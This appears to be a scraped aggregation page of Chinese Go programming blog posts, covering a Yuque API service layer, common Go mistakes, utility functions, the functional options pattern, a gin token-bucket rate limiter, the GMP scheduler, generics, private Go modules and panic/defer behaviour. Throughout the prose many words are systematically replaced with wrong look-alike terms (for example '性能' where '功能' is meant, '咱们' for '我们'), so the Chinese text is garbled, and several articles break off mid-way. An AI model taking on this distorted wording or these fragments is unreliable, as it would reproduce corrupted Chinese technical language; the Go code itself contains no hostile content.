实现性能继上一节,咱们实现了根本的web服务。本节咱们依据语雀凋谢文档 https://www.yuque.com/yuque/developer/api,新增以下性能 语雀文章详情语雀列表语雀搜寻代码实现本节残缺代码,参考:https://github.com/golangtips... 减少 servcie 层,并创立以下文件 service/intf/yuque.go 接口定义service/internal/yuque.go 具体外部实现service/set.go 服务汇合定义接口 service/intf/yuque.go package intfimport ( "context" "time")type IYuQue interface { // GetRepoDocList 获取一个仓库的文档列表 // 文档 https://www.yuque.com/yuque/developer/doc GetRepoDocList(ctx context.Context, request *GetRepoDocListRequest) (*GetRepoDocListResponse, error) // GetRepoDocDetail 获取单篇文档的详细信息 // 文档 https://www.yuque.com/yuque/developer/doc GetRepoDocDetail(ctx context.Context, request *GetRepoDocDetailRequest) (*GetRepoDocDetailResponse, error) // Search 搜寻 // 文档 https://www.yuque.com/yuque/developer/high_level_api Search(ctx context.Context, request *SearchRequest) (*SearchResponse, error)}// GetRepoDocListRequest 获取一个仓库的文档列表type GetRepoDocListRequest struct { Namespace string // Offset int // Limit int // OptionalProperties int // 获取文档浏览数}// GetRepoDocListResponse 获取一个仓库的文档列表type GetRepoDocListResponse struct { Data []Doc `json:"data"`}// GetRepoDocDetailRequest 获取单篇文档的详细信息type GetRepoDocDetailRequest struct { Namespace string Slug string Raw int // raw=1 返回文档最原始的格局}// GetRepoDocDetailResponse 获取单篇文档的详细信息type GetRepoDocDetailResponse struct { Abilities struct { Update bool `json:"update"` Destroy bool `json:"destroy"` } `json:"abilities"` Data DocDetail `json:"data"`}// SearchRequest 搜寻申请type SearchRequest struct { Type string // 资源类型 Offset int // 分页,1、2... Scope int // 搜寻门路 Related bool // 搜寻与我相干的传递 true}// SearchResponse 搜寻后果type SearchResponse struct { // ...}// Doc 文档根本信息,个别用在列表场景// https://www.yuque.com/yuque/developer/docserializertype Doc struct { CreatedAt string `json:"created_at"` ID int64 `json:"id"` Public int64 `json:"public"` Slug string `json:"slug"` Status int64 `json:"status"` Title string `json:"title"` UpdatedAt string `json:"updated_at"`}// DocDetail 文档详细信息// https://www.yuque.com/yuque/developer/docdetailserializertype DocDetail struct { Id int `json:"id"` Slug string `json:"slug"` Title string `json:"title"` BookId int `json:"book_id"` Book struct { Id int `json:"id"` Type string `json:"type"` Slug string `json:"slug"` Name string `json:"name"` UserId int `json:"user_id"` Description string `json:"description"` CreatorId int `json:"creator_id"` Public int `json:"public"` ItemsCount int `json:"items_count"` LikesCount int `json:"likes_count"` WatchesCount int `json:"watches_count"` ContentUpdatedAt time.Time `json:"content_updated_at"` UpdatedAt time.Time `json:"updated_at"` CreatedAt time.Time `json:"created_at"` Namespace string `json:"namespace"` User struct { Id int `json:"id"` Type string `json:"type"` Login string `json:"login"` Name string `json:"name"` Description interface{} `json:"description"` AvatarUrl string `json:"avatar_url"` BooksCount int `json:"books_count"` PublicBooksCount int `json:"public_books_count"` FollowersCount int `json:"followers_count"` FollowingCount int `json:"following_count"` CreatedAt time.Time `json:"created_at"` UpdatedAt time.Time `json:"updated_at"` Serializer string `json:"_serializer"` } `json:"user"` Serializer string `json:"_serializer"` } `json:"book"` UserId int `json:"user_id"` Creator struct { Id int `json:"id"` Type string `json:"type"` Login string `json:"login"` Name string `json:"name"` Description interface{} `json:"description"` AvatarUrl string `json:"avatar_url"` BooksCount int `json:"books_count"` PublicBooksCount int `json:"public_books_count"` FollowersCount int `json:"followers_count"` FollowingCount int `json:"following_count"` CreatedAt time.Time `json:"created_at"` UpdatedAt time.Time `json:"updated_at"` Serializer string `json:"_serializer"` } `json:"creator"` Format string `json:"format"` Body string `json:"body"` BodyDraft string `json:"body_draft"` BodyHtml string `json:"body_html"` BodyLake string `json:"body_lake"` BodyDraftLake string `json:"body_draft_lake"` Public int `json:"public"` Status int `json:"status"` ViewStatus int `json:"view_status"` ReadStatus int `json:"read_status"` LikesCount int `json:"likes_count"` CommentsCount int `json:"comments_count"` ContentUpdatedAt time.Time `json:"content_updated_at"` DeletedAt interface{} `json:"deleted_at"` CreatedAt time.Time `json:"created_at"` UpdatedAt time.Time `json:"updated_at"` PublishedAt time.Time `json:"published_at"` FirstPublishedAt time.Time `json:"first_published_at"` WordCount int `json:"word_count"` Cover interface{} `json:"cover"` Description string `json:"description"` CustomDescription interface{} `json:"custom_description"` Hits int `json:"hits"` Serializer string `json:"_serializer"`}接口实现 service/intf/yuque.go ...

September 25, 2022 · 4 min · jiezi

关于go:golang中经常会犯的一些错误

0.1、索引https://waterflow.link/articles/1664080524986 1、未知的枚举值咱们当初定义一个类型是unit32的Status,他能够作为枚举类型,咱们定义了3种状态 type Status uint32const ( StatusOpen Status = iota StatusClosed StatusUnknown)其中咱们应用了iota,相干的用法自行google。最终对应的状态就是: 0-开启状态,1-敞开状态,2-未知状态 当初咱们假如有一个申请参数过去,数据结构如下: { "Id": 1234, "Timestamp": 1563362390, "Status": 1}能够看到是一个json类型的字符串,其中就蕴含了Status状态,咱们的申请是心愿把状态批改为敞开状态。 而后咱们在服务端创立一个构造体,不便把这些字段解析进去: type Request struct { ID int `json:"Id"` Timestamp int `json:"Timestamp"` Status Status `json:"Status"`}好了,咱们在main中执行下代码,看下解析是否正确: package mainimport ( "encoding/json" "fmt")type Status uint32const ( StatusOpen Status = iota StatusClosed StatusUnknown)type Request struct { ID int `json:"Id"` Timestamp int `json:"Timestamp"` Status Status `json:"Status"`}func main() { js := `{ "Id": 1234, "Timestamp": 1563362390, "Status": 1 }` request := &Request{} err := json.Unmarshal([]byte(js), request) if err != nil { fmt.Println(err) return }}执行后的后果如下: ...

September 25, 2022 · 6 min · jiezi

关于go:golang中的一些实用功能

0.1、索引https://waterflow.link/articles/1663921524839 通过应用一些通用代码来节省时间,而无需独自实现它们。以下是一些开发中常常会用到的函数实现的列表。 1、查看数组中元素是否存在Golang 没有预约义的函数来查看数组中元素的存在。以下代码片段为您实现雷同的工作。 很简略,遍历一遍数组查看元素是否存在。 package mainimport "fmt"func main() { slice := []string{"apple", "grapes", "mango"} if Contains(slice, "mango") { fmt.Println("元素存在") } else { fmt.Println("元素不存在") }}func Contains(slice []string, element string) bool { for _, i := range slice { if i == element { return true } } return false}2、查看给定的工夫是否在两个工夫戳之间给定两个工夫戳,用于查看以后工夫是否位于两者之间。 Golang 工夫包提供了一个内置函数来查看它。咱们应用了 .After() 和 .Before() 办法,如果两者都为真,那么咱们能够抵赖以后工夫在给定工夫之间。 package mainimport ( "fmt" "time")func main() { currentTime := time.Now() // 以后工夫的18小时后 rightTime := time.Now().Add(time.Hour * 18) // 以后工夫的10小时之前 leftTime := time.Now().Add(-time.Hour * 10) if IsBetweenTime(currentTime, leftTime, rightTime) { fmt.Println("以后工夫在范畴内") } else { fmt.Println("以后工夫不在范畴内") }}func IsBetweenTime(curTime, leftTime, rightTime time.Time) bool { if curTime.After(leftTime) && curTime.Before(rightTime) { return true } return false}3、查找特定时区的以后工夫戳首先应用 time.LoadLocation() 加载给定时区的地位,而后将其与 time.Now.In() 一起应用,以获取给定时区的以后工夫。您能够将 timeZone 变量的值批改为所需的值。 ...

September 23, 2022 · 3 min · jiezi

关于go:golang-限流中间件

应用场景为避免并发量忽然增高时,服务器无奈接受,保障了QPS的上限值。次要分为漏桶和令牌桶: 漏桶是指咱们有一个始终装满了水的桶,每过固定的一段时间即向外漏一滴水。如果你接到了这滴水,那么你就能够持续服务申请,如果没有接到,那么就须要期待下一滴水。 令牌桶则是指匀速向桶中增加令牌,服务申请时须要从桶中获取令牌,令牌的数目能够依照须要耗费的资源进行相应的调整。如果没有令牌,能够抉择期待,或者放弃。 package mainimport ( "net/http" "time" "github.com/gin-gonic/gin" "github.com/juju/ratelimit")func RateLimitMiddleware(fillInterval time.Duration, cap, quantum int64) gin.HandlerFunc { bucket := ratelimit.NewBucketWithQuantum(fillInterval, cap, quantum) return func(c *gin.Context) { if bucket.TakeAvailable(1) < 1 { c.String(http.StatusForbidden, "rate limit...") c.Abort() return } c.Next() }}func main() { r := gin.Default() gin.ForceConsoleColor() r.Use(RateLimitMiddleware(time.Second, 100, 100)) //初始100,每秒放出100 r.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "golang ~") }) r.Run(":8080")}1、认的令牌桶,fillInterval 指每过多长时间向桶里放一个令牌,capacity 是桶的容量,超过桶容量的局部会被间接抛弃。桶初始是满的 func NewBucket(fillInterval time.Duration, capacity int64) *Bucket2、和一般的 NewBucket() 的区别是,每次向桶中放令牌时,是放 quantum 个令牌,而不是一个令牌。 ...

September 23, 2022 · 1 min · jiezi

关于go:22-GolangGo并发编程协程管理

 上一篇文章咱们介绍了GMP并发模型的基本概念,晓得了M是线程,P是逻辑处理器,G是协程。也理解到每一个M线程都有一个调度协程g0,调度主逻辑由函数schedule实现;协程都有本人的协程栈,协程的切换其实就是协程栈的切换,其实就是若干寄存器的保留与复原。本篇文章重点介绍协程的治理,包含协程创立,协程切换;然而,波及到寄存器的更改,只能深刻到汇编去了解,可能会比拟干燥难以了解,能够依据本人趣味学习钻研。 根底补充-栈桢构造 咱们始终说每一个线程都有一个线程栈,每一个协程也须要一个协程栈,这里说的栈其实就是函数调用栈桢,通常咱们函数内申明的局部变量,函数的传参等,其实都在线程栈/协程栈上。为什么这里称之为栈呢?因为函数的调用与返回,刚好是先入后出,函数的调用随同着函数栈桢的入栈,函数的返回随同着函数栈桢的出栈。多个函数栈桢之间是通过BP以及SP寄存器保护的。 另外,咱们还须要晓得,所有的高级语言,不论是PHP还是Java还是Go,最终机器上执行的都是一条一条汇编指令(应该说是二进制指令,汇编只是不便人们辨认的助记符);函数调用指令是CALL,函数返回指令是RET。CALL以及RET与其余指令如MOVE有一些不同,背地还有一些略微简单的逻辑: //PC寄存器指向的是下一条指令地址;CPU加载指令时,会主动PC + 1;所以能够通过批改PC寄存器的内容,实现程序跳转//CALL fnPUSH PC //PUSH将PC内容入栈(其实也就是 SP = PC;SP = SP - 8)JMP fn //程序跳转到函数fn入口地址//RETPOP PC //POP弹出栈顶内容,也就是之前PUSH的PC寄存器内容JMP //程序跳转到PC执行的地址 最初,寄存器BP以及SP的保护,查看编译后的汇编程序就能看到,比方: "".fn STEXT //SP栈顶向下挪动(函数栈桢入栈),以后函数可能会定义一些局部变量等,所以预留一些内存 SUBQ $96, SP //下一步须要更高BP寄存器内容,所以将BP寄存器保留在SP+88字节地位处 MOVQ BP, 88(SP) //更改BP寄存器内容 LEAQ 88(SP), BP //业务逻辑 //局部变量通常以XX(SP)模式拜访,也就是在SP+XX字节地位处 //复原原始BP寄存器内容 MOVQ 88(SP), BP //SP栈顶向上挪动(函数栈桢出栈) ADDQ $96, SP //函数返回 RET 调用fn函数前后的栈桢构造如下图所示: 这里须要咱们重点了解CALL & RET指令的含意,以及调用fn函数前后的栈桢变动。因为Go语言在协程创立的时候,须要结构协程栈,也就是上图中的栈桢构造。 根底补充-线程本地存储 线程本地存储(Thread Local Storage,简称TLS),其实就是线程公有全局变量。一般的全局变量,一个线程对其进行了批改,所有线程都能够看到这个批改;线程公有全局变量不同,每个线程都有本人的一份正本,某个线程对其所做的批改不会影响到其它线程的正本。 Golang是多线程程序,以后线程正在执行的协程,显然每个线程都是不同的,这就保护在线程本地存储。所以在Go协程切换逻辑中,随处可见get_tls(CX),用于获取以后线程本地存储首地址。 不同的架构以及操作系统,能够通过FS或者GS寄存器拜访线程本地存储,如Go程序,386架构Linux操作系统时,通过如下形式拜访: //"386", "linux""#define get_tls(r) MOVL 8(GS), r\n"//获取线程本地存储首地址get_tls(CX)//构造体G封装协程相干数据,DX存储着以后正在执行协程G的首地址//协程调度时,保留以后协程G到线程本地存储MOVQ DX, g(CX)根底补充-汇编简介 任何架构的计算机都会提供一组指令汇合,汇编是二进制指令的文本模式。指令由操作码和操作数组成;操作码即操作类型,操作数能够是一个立刻数或者一个存储地址(内存,寄存器)。寄存器是集成在CPU外部,拜访十分快,然而数量无限的存储单元。Golang应用plan9汇编语法,汇编指令的写法以及寄存器的命名略有不同 ...

September 23, 2022 · 4 min · jiezi

关于go:golang中的选项模式

索引 https://waterflow.link/articles/1663835071801 当我在应用go-zero时,我看到了好多像上面这样的代码: ...type ( // RunOption defines the method to customize a Server. RunOption func(*Server) // A Server is a http server. Server struct { ngin *engine router httpx.Router })...// AddRoutes add given routes into the Server.func (s *Server) AddRoutes(rs []Route, opts ...RouteOption) { r := featuredRoutes{ routes: rs, } for _, opt := range opts { opt(&r) } s.ngin.addRoutes(r)}...// WithJwt returns a func to enable jwt authentication in given route.func WithJwt(secret string) RouteOption { return func(r *featuredRoutes) { validateSecret(secret) r.jwt.enabled = true r.jwt.secret = secret }}咱们能够把重点放在RouteOption下面。这里就应用了选项模式。 ...

September 22, 2022 · 2 min · jiezi

关于go:海量数据高并发场景构建GoES8企业级搜索微服务无密分享

download:海量数据高并发场景,构建Go+ES8企业级搜寻微服务无密分享小微企业跨组织人才管理系统介绍因为后期比拟懒,把竞赛题的剖析交给了文的同学,导致剖析不到位,有点跑题。侥幸的是,这不是一个大问题。后期打算用ssm做框架。两头阶段在一本书上发现了一个用jsp写的模板,就间接复制了。前期为了减少ajax、拦截器、文件上传下载性能,退出了SpringMVC架构。因而,这四个不同点就产生了,用的是SpringMVC架构,而JDBC...,总而言之,我还是没教训,见机行事! 我的项目代码上面将展现局部代码,源代码能够在这里下载,1.拦截机它旨在通过间接输出地址来避免拜访和分级权限治理。后果没用,还是写了。...公共类LoginInterceptor实现HandlerInterceptor { public boolean pre handle(http servlet request申请、HttpServletResponse响应、对象处理程序)引发ServletException、IOException {//如果是登录页面,就公布。system . out . println(" uri:"+request . getrequest uri());if (request.getRequestURI()。蕴含(“登录”){返回true} if (request.getRequestURI()。蕴含(“验证”){返回true} http session session = request . getsession(); //如果用户曾经登录,则开释它。if(((String)session . get attribute(" validated "))。等于(" ok")) {返回true} 返回false}}复制代码2.文件上传和下载原本认为程序会依据以后员工的编号,主动更改上传文件的文件名,而后保留。这种状况下,浏览或下载文件也能够间接依据员工号作为文件名进行搜寻。然而,为了不便起见,这里没有体现。它只是一个失常的文件上传和下载性能。文件上传@ request mapping("/郭城")公共字符串fileUpload2(@RequestParam("郭城")CommonsMultipartFile文件,HttpServletRequest申请)抛出IOException { //上传保留设置的门路门路=申请;getservletcontext();get real path("/work product ");File realPath =新文件(门路);如果(!realPath.exists()){real path . mkdir();}//上传文件地址System.out.println("上传文件的保留地址:"+realPath); //间接用CommonsMultipartFile的办法写文件(这次留神)file.transferTo(新文件(real path+"/"+File . getoriginalfilename())); Return "window.alert('上传胜利!')" +" history . back()";}复制代码下载文件@ request mapping(value = "/download CG ")公共字符串downloads1(HttpServletResponse响应,HttpServletRequest申请)引发异样{//要下载的图片的地址门路=申请;getservletcontext();get real path("/work product ");String fileName = " 1234567.pdf ...

September 22, 2022 · 2 min · jiezi

关于go:21-GolangGo并发编程GMP调度模型概述

 Go语言人造具备并发个性,基于go关键字就能很不便的创立协程去执行一些并发工作,而且基于协程-管道的CSP并发编程模型,相比于传统的多线程同步计划,能够说简略太多了。从本篇文章开始,将为大家介绍Go语言的外围:并发编程;不仅包含协程/管道/锁等的根本应用,还会深刻到协程实现原理,GMP协程调度模型等。 并发编程入门 构想下咱们有这么一个服务/接口:须要从其余三个服务获取数据,解决后返回给客户端,并且这三个服务不相互依赖。这时候个别如何解决呢?如果PHP语言开发,个别可能就是顺序调用这些服务获取数据了;如果是Java之类的反对多线程的语言,为了进步接口性能,通常可能会开启多个线程并发获取这些服务的数据。Go语言应用多协程去执行多个可并行子工作非常简单,应用形式如下所示: package mainimport ( "fmt" "sync")func main() { //WaitGroup用于协程并发管制 wg := sync.WaitGroup{} //启动3个协程并发执行工作 for i := 0; i < 3; i ++ { asyncWork(i, &wg) } //主协程期待工作完结 wg.Wait() fmt.Println("main end")}func asyncWork(workId int, wg *sync.WaitGroup){ //开始异步工作 wg.Add(1) go func() { fmt.Println(fmt.Sprintf("work %d exec", workId)) //异步工作完结 wg.Done() }()} main函数默认在主协程执行,而且一旦main函数执行完结,也象征这主协程执行协程,整个Go程序就会完结(与多线程程序比拟相似)。主协程须要期待子协程工作执行完结,然而协程的调度执行的确随机的,go关键字只是创立协程,通常并不会立刻调度执行该协程;所以如果没有一些同步伎俩,主协程可能以及执行结束了,子协程还没有调度执行,也就是工作还没开始执行。sync.WaitGroup罕用于多协程之间的并发管制,wg.Add标记一个异步工作的开始,主协程wg.Wait会始终阻塞,直到所有异步工作执行完结,所以咱们再异步工作的最初调用了办法wg.Done,标记以后异步工作执行完结。这样当子协程全副执行结束后,主协程就会解除阻塞。不过还有一个问题,主协程如何获取到子协程的返回数据呢?想想最简略的形式,函数asyncWork增加一个指针类型的输出参数,作为返回值呢?或者也能通过管道chan实现协程之间的数据传递。 管道chan用于协程间接的数据传递,设想一下,数据从管道一端写入,另外一端就能读取到该数据。构想咱们有一个音讯队列的生产脚本,获取到一条音讯之后,须要执行比较复杂/耗时的解决,Go语言怎么解决比拟好呢?拉取音讯,解决,ack确认,如此循环吗?必定不太适合,这样生产脚本的性能太低了。通常是启动一个协程专门用于从音讯队列拉取音讯,再将音讯交给子协程异步解决,这样大大晋升了生产脚本性能。而主协程就是通过管道chan将音讯交给子协程去解决的。 package mainimport ( "fmt" "time")func main() { //申明管道chan,最多能够存储10条音讯;该容量通常限度了异步工作的最大并发量 queue := make(chan int, 10) //开启10个子协程异步解决 for i := 0; i < 10; i ++ { go asyncWork(queue) } for j := 0; j < 1000; j++ { //向管道写入音讯 queue <- j } time.Sleep(time.Second)}func asyncWork(queue chan int){ //子协程死循环从管道chan读取音讯,解决 for { data := <- queue fmt.Println(data) }} 管道chan能够申明多种类型,如chan int只能存储int类型数据;chan还有容量的扭转,也就是最大能存储的数据量,如果chan容量曾经满了,向chan写入数据会阻塞,所以通常能够通过容量限度异步工作的最大并发量。另外,如果chan没有数据,从chan读取数据也会阻塞。下面程序启动了10个子协程解决音讯,而主协程循环向chan写入数据,模仿音讯的生产过程。 ...

September 22, 2022 · 2 min · jiezi

关于go:Go协程是如何调度的

一、Go调度器的作用提到“调度”,咱们首先想到的就是操作系统对过程、线程的调度。操作系统调度器会将零碎中的多个线程依照肯定算法调度到物理CPU下来运行。 这种传统反对并发的形式有诸多有余:一个thread的代价曾经比过程小了很多了,但咱们仍然不能大量创立thread,因为除了每个thread占用的资源不小之外,操作系统调度切换thread的代价也不小; Go采纳了用户层轻量级thread的概念来解决这些问题,Go将之称为”goroutine“。goroutine占用的资源十分小,每个内存占用在2k左右,goroutine调度的切换也不必陷入操作系统内核层实现,代价很低。因而,一个Go程序中能够创立成千上万个并发的goroutine。 一个Go程序对于操作系统来说只是一个用户层程序,它的眼中只有thread,它甚至不晓得Goroutine的存在。将这些goroutines依照肯定算法放到“CPU”上执行的程序就称为goroutine调度器或goroutine scheduler。在操作系统层面,Thread竞争的“CPU”资源是实在的物理CPU,但在Go程序层面,各个Goroutine要竞争的”CPU”资源是操作系统线程。 说到这里goroutine scheduler的工作就明确了:goroutine调度器通过应用与CPU数量相等的线程缩小线程频繁切换的内存开销,同时在每一个线程上执行额定开销更低的 Goroutine 来升高操作系统和硬件的负载。 二、Go调度器模型与演化过程1、G-M模型2012年3月28日,Go 1.0正式公布。在这个版本中,每个goroutine对应于runtime中的一个形象构造:G,而os thread则被形象为一个构造:M(machine)。M想要执行、放回G都必须拜访全局G队列,并且M有多个,即多线程拜访同一资源须要加锁进行保障互斥/同步,所以全局G队列是有互斥锁进行爱护的。 这个构造尽管简略,然而却存在着许多问题:1、所有goroutine相干操作,比方:创立、从新调度等都要上锁;2、M转移G会造成提早和额定的零碎负载。比方当G中蕴含创立新协程的时候,M创立了G1,为了继续执行G,须要把G1交给M1执行,也造成了很差的局部性,因为G1和G是相干的,最好放在M上执行,而不是其余M1。3、零碎调用(CPU在M之间的切换)导致频繁的线程阻塞和勾销阻塞操作减少了零碎开销。 2、G-P-M模型在Go 1.1中实现了G-P-M调度模型和work stealing算法,这个模型始终沿用至今:在新调度器中,除了M(thread)和G(goroutine),又引进了P(Processor)。P是一个“逻辑Proccessor”,每个G要想真正运行起来,首先须要被调配一个P(进入到P的本地队列中),对于G来说,P就是运行它的“CPU”,能够说:G的眼里只有P。但从Go scheduler视角来看,真正的“CPU”是M,只有将P和M绑定能力让P的runq中G得以实在运行起来。 这里有一幅图能够形象的阐明它们的关系:地鼠用小车运着一堆待加工的砖。M就可以看作图中的地鼠,P就是小车,G就是小车里装的砖。 3、抢占式调度G-P-M模型的实现算是Go scheduler的一大提高,但Scheduler依然有一个头疼的问题,那就是不反对抢占式调度,导致一旦某个G中呈现死循环或永恒循环的代码逻辑,那么G将永恒占用调配给它的P和M,位于同一个P中的其余G将得不到调度,呈现“饿死”的状况。更为严重的是,当只有一个P时(GOMAXPROCS=1)时,整个Go程序中的其余G都将“饿死”。 这个抢占式调度的原理则是在每个函数或办法的入口,加上一段额定的代码,让runtime有机会查看是否须要执行抢占调度。 三、G-P-M模型的深刻了解1、基本概念1、全局队列(Global Queue):寄存期待运行的G。2、P的本地队列:同全局队列相似,寄存的也是期待运行的G,存的数量无限,不超过256个。新建G'时,G'优先退出到P的本地队列,如果队列满了,则会把本地队列中一半的G挪动到全局队列。3、P:P的数量决定了零碎内最大可并行的G的数量,P的最大作用还是其领有的各种G对象队列、链表、一些cache和状态。所有的P都在程序启动时创立,并保留在数组中,默认等于CUP核数,最多有GOMAXPROCS(可配置)个。4、M:线程想运行工作就得获取P,从P的本地队列获取G。P队列为空时,M也会尝试从全局队列拿一批G放到P的本地队列,或从其余P的本地队列偷一半放到本人P的本地队列。M运行G,G执行之后,M会从P获取下一个G,一直反复上来。M的创立机会:按需创立,没有足够的M来关联P并运行其中的可运行的G就会去创立新的M。2、调度器的设计策略2.1、复用线程防止频繁的创立、销毁线程,而是对线程的复用。1)work stealing机制当本线程无可运行的G时,尝试从其余线程绑定的P偷取G,而不是销毁线程。 2)hand off机制当本线程因为G进行零碎调用阻塞时,线程开释绑定的P,把P转移给其余闲暇的线程执行。 2.2、利用并行GOMAXPROCS设置P的数量,最多有GOMAXPROCS个线程散布在多个CPU上同时运行。 2.3、抢占Go 程序启动时,运行时会去启动一个名为 sysmon 的 M,会定时向长时间(>=10MS)运行的 G 工作收回抢占调度,避免其余goroutine被饿死。 2.4、全局G队列在新的调度器中仍然有全局G队列,但性能曾经被弱化了,当M执行work stealing从其余P偷不到G时,它能够从全局G队列获取G。 3、go func()的执行流程 1、咱们通过 go func()来创立一个goroutine; 2、有两个存储G的队列,一个是部分调度器P的本地队列、一个是全局G队列。新创建的G会先保留在P的本地队列中,如果P的本地队列曾经满了就会保留在全局的队列中; 3、G只能运行在M中,一个M必须持有一个P,M与P是1:1的关系。M会从P的本地队列弹出一个可执行状态的G来执行,如果P的本地队列为空,就会想其余的MP组合偷取一个可执行的G来执行; 4、一个M调度G执行的过程是一个循环机制; 5、当M执行某一个G时候如果产生了syscall或者其余阻塞操作,M会阻塞,如果以后有一些G在执行,runtime会把这个线程M从P中摘除(detach),而后再创立一个新的操作系统的线程(如果有闲暇的线程可用就复用闲暇线程)来服务于这个P; 6、当M零碎调用完结时候,这个G会尝试获取一个闲暇的P执行,并放入到这个P的本地队列。如果获取不到P,那么这个线程M变成休眠状态,退出到闲暇线程中,而后这个G会被放入全局队列中。 4、调度器的生命周期非凡的M0和G0M0M0是启动程序后的编号为0的主线程,这个M对应的实例会在全局变量runtime.m0中,不须要在heap上调配,M0负责执行初始化操作和启动第一个G,在之后M0就和其余的M一样了。 G0G0是每次启动一个M都会第一个创立的gourtine,G0仅用于负责调度的G,G0不指向任何可执行的函数, 每个M都会有一个本人的G0。在调度或零碎调用时会应用G0的栈空间, 全局变量的G0是M0的G0。 运行流程如图所示: runtime创立最后的线程m0和goroutine g0,并把2者关联。调度器初始化:初始化m0、栈、垃圾回收,以及创立和初始化由GOMAXPROCS个P形成的P列表。示例代码中的main函数是main.main,runtime中也有1个main函数——runtime.main,代码通过编译后,runtime.main会调用main.main,程序启动时会为runtime.main创立goroutine,称它为main goroutine吧,而后把main goroutine退出到P的本地队列。启动m0,m0曾经绑定了P,会从P的本地队列获取G,获取到main goroutine。G领有栈,M依据G中的栈信息和调度信息设置运行环境M运行GG退出,再次回到M获取可运行的G,这样反复上来,直到main.main退出,runtime.main执行Defer和Panic解决,或调用runtime.exit退出程序。调度器的生命周期简直占满了一个Go程序的毕生,runtime.main的goroutine执行之前都是为调度器做筹备工作,runtime.main的goroutine运行,才是调度器的真正开始,直到runtime.main完结而完结。 参考资料:也谈goroutine调度器Golang的协程调度器原理及GMP设计思维Goroutine调度器

September 21, 2022 · 1 min · jiezi

关于go:17-GolangGo语言快速入门泛型

 Golang在1.18版本反对了泛型,写过java/c++等语言的可能对泛型有肯定的理解。那么泛型到底是什么呢?他有什么作用呢? 为什么须要泛型 为什么须要泛型呢?Golang是强类型语言,任何变量或者函数参数,都须要定义明确的参数类型。假如咱们须要实现这么一个函数,输出两个参数,函数返回其相加的值,输出参数能够是两个整型int,浮点数float,还有可能是字符串等等,这时候通常怎么办?定义多个函数实现吗?如上面程序所示: //定义多个函数实现func twoIntValueSum(a, b int) int { return a + b}func twoFloatValueSum(a, b float32) float32 { return a + b}func twoStrValueSum(a, b string) string { return a + b}//定义一个函数,类型是interface{} 这样就可能导致存在大量反复代码,而且调用方还须要依据参数类型决定调用哪一个办法。还能怎么办呢?只定义一个函数,只是参数是interface{},函数外部通过反射等形式,执行对应的操作,如上面程序: func twoValueSum(a, b interface{}) (interface{}, error) { if reflect.TypeOf(a).Kind() != reflect.TypeOf(b).Kind() { return nil, errors.New("two value type different") } switch reflect.TypeOf(a).Kind() { case reflect.Int: return reflect.ValueOf(a).Int() + reflect.ValueOf(b).Int(), nil case reflect.Float64: return reflect.ValueOf(a).Float() + reflect.ValueOf(b).Float(), nil case reflect.String: return reflect.ValueOf(a).String() + " " + reflect.ValueOf(b).String(), nil default: return nil, errors.New("unknow value type") }} 应用反射实现的话,依赖反射性能较低,二来能够看到输出参数和返回值都是interface{},应用方还须要多执行一步返回值类型转换,而且反射相对而言还是比较复杂的。 ...

September 21, 2022 · 2 min · jiezi

关于go:go-mod-封装公司私有包并导入使用

介绍之前写过怎么封装私有包(go如何通过module新建公共包,并导入应用),发现事实很多人,想理解封装公有包,所以再写一篇如何封装公有包,具体介绍下。 一、创立一个 Go Modules 我的项目1、创立文件夹mkdir tool && cd tool2、初始化包 go mod init codeup.aliyun.com/hisheng/tool➜ go mod init codeup.aliyun.com/hisheng/toolgo: creating new go.mod: module codeup.aliyun.com/hisheng/tool阐明:咱们把代码包发到 阿里云codeup公有git仓库上来治理。 3、增加业务代码新建tool.go文件 ➜ touch tool.go 写入代码 package toolfunc Hello() string { return "hello from tool project"}二、公布到阿里云公有近程代码仓库git initgit add .git commit -m "init"git remote add origin https://codeup.aliyun.com/hisheng/tool.gitgit push -u origin master三、如何拉取导入公共包1、拉取包到本地 ➜ go get codeup.aliyun.com/hisheng/tool2、在代码里导入 import ( "codeup.aliyun.com/hisheng/tool" "testing")func TestName(t *testing.T) { t.Log(tool.Hello())}输入: hello from tool project谢谢您的观看,欢送关注我的公众号。

September 20, 2022 · 1 min · jiezi

关于go:panic

panic在深服气的口试题中出了这样一道题: package mainimport "fmt"func main() { defer func() { fmt.Println(1) }() defer func() { fmt.Println(2) }() panic(3) defer func() { fmt.Println(4) }()}过后我给出的答案是输入panic: 3,那么正确答案是什么呢? 正确答案为 21 panic: 3 Go程序在panic 时并不会导致程序异样退出,而是会终止以后函数的失常执行,执行defer并逐级返回。(即:panic在退出协程前会执行所有已注册的defer(panic 只会触发以后 Goroutine 的提早函数调用)) 要点panic 可能改变程序的控制流,调用 panic 后会立即进行执行以后函数的残余代码,并在以后 Goroutine 中递归执行调用方的 defer;recover 能够停止 panic 造成的程序解体。它是一个只能在 defer 中发挥作用的函数,在其余作用域中调用不会发挥作用;panic 只会触发以后 Goroutine 的 defer;recover 只有在 defer 中调用才会失效;panic 容许在 defer 中嵌套屡次调用;recover 只有在产生 panic 之后调用才会失效底层原理数据结构type _panic struct { argp unsafe.Pointer // 指向 defer 调用时参数的指针 arg interface{} // 调用 panic 时传入的参数 link *_panic // 指向了更早调用的 runtime._panic 构造 recovered bool // 示意以后 runtime._panic 是否被 recover 复原 aborted bool // 示意以后的 panic 是否被强行终止 pc uintptr sp unsafe.Pointer goexit bool}panic 函数能够被间断屡次调用,它们之间通过 link 能够组成链表。 ...

September 20, 2022 · 2 min · jiezi

关于go:go如何通过module新建公共包并导入使用

一、创立一个 Go Modules 我的项目1、创立文件夹mkdir tool && cd tool2、初始化包 go mod init github.com/hisheng/tool➜ go mod init github.com/hisheng/toolgo: creating new go.mod: module github.com/hisheng/tool阐明:咱们把代码包发到 github上。 3、增加业务代码新建tool.go文件 ➜ touch tool.go 写入代码 package toolfunc Hello() string { return "hello from tool project"}二、公布到github近程代码仓库git initgit add .git commit -m "init"git remote add origin https://github.com/hisheng/tool.gitgit push -u origin master三、如何拉取导入公共包

September 20, 2022 · 1 min · jiezi

关于go:16-GolangGo语言快速入门反射

